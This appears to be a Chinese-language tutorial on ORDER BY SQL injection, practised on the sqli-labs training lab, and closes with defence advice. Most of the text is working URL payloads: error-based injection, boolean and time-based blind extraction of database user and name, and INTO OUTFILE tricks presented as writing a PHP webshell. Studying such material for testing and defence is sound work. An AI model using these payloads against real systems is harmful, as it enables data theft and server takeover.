利用sqli-labs了解order by 注入
字数 978 2025-08-10 20:57:57
Order By 注入技术详解
一、Order By 注入背景
Order By 注入是一种特殊的SQL注入技术,主要出现在SQL查询中的ORDER BY子句。根据参数类型可分为:
- 数字型 Order By 注入:
select * from users order by $id - 字符型 Order By 注入:
select * from users order by '$id'
二、数字型 Order By 注入判断方法
1. 排序判断法
?sort=1 desc与?sort=1 asc返回不同排序结果
2. 随机数判断法
?sort=rand(true)与?sort=rand(false)返回不同排序结果
3. 延时判断法
?sort=sleep(3)等待3*行数秒才会显示结果
三、Order By 与 UNION 联合使用
注意:UNION在没有括号的情况下只能使用一个ORDER BY
方法一:统一排序
select * from u1 union select * from u2 order by score asc
方法二:分别排序后联合
select * from (select * from u1 order by score asc)u3
union
select * from (select * from u2 order by score asc)u4
UNION与UNION ALL区别:
- UNION会过滤重复行
- UNION ALL不会过滤重复行
四、数字型 Order By 注入利用方式
1. 报错注入(需开启错误提示)
(1) floor报错注入
?sort=(select count(*) from users group by concat((select user()),0x7e,floor(rand(0)*2)))
(2) procedure analyse注入
?sort=1 procedure analyse(extractvalue(rand(),concat(0x7e,user())),1)
(3) updatexml报错注入
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
(4) extractvalue报错注入
?sort=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
2. 布尔盲注
(1) 长度判断
?sort=rand(length(user())>13)--+ //返回正常界面
?sort=rand(length(user())>14)--+ //返回不同界面
(2) 字符判断
?sort=rand(substr(user(),1,1)='r')--+
?sort=rand(left(user(),1)='r')--+
?sort=rand(ascii(substr(user(),1,1))=114)--+
3. 时间盲注
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
五、INTO OUTFILE 利用
前提条件:
- 具有数据库root权限
- secure_file_priv=""(默认为null)
- 知道网站绝对路径
1. 基本测试
?sort=1 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\test.txt"
2. 写入Webshell方法
(1) lines terminated by
?sort=1 into outfile "D:\\path\\test222.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
(2) lines starting by
?sort=1 into outfile "D:\\path\\test333.php" lines starting by 0x3c3f70687020706870696e666f28293b3f3e
(3) fields terminated by
?sort=1 into outfile "D:\\path\\test444.php" fields terminated by 0x3c3f70687020706870696e666f28293b3f3e
(4) COLUMNS terminated by
?sort=1 into outfile "D:\\path\\test555.php" COLUMNS terminated by 0x3c3f70687020706870696e666f28293b3f3e
六、字符型 Order By 注入
1. 判断语句
?sort=1'--+
2. 利用方式
(1) 报错注入
?sort=1' and (select count(*) from users group by concat((select user()),0x7e,floor(rand(0)*2)))--+
(2) 时间盲注
?sort=1' and if(length(user())>1,sleep(0.1),0)--+
?sort=1' and if(substr(user(),1,1)='r',sleep(0.1),0)--+
?sort=1' and if(ascii(substr(user(),1,1))=114,sleep(0.1),0)--+
七、防御建议
- 使用参数化查询或预编译语句
- 对输入参数进行严格过滤和类型检查
- 设置数据库权限最小化原则
- 关闭错误信息显示
- 配置secure_file_priv限制文件导出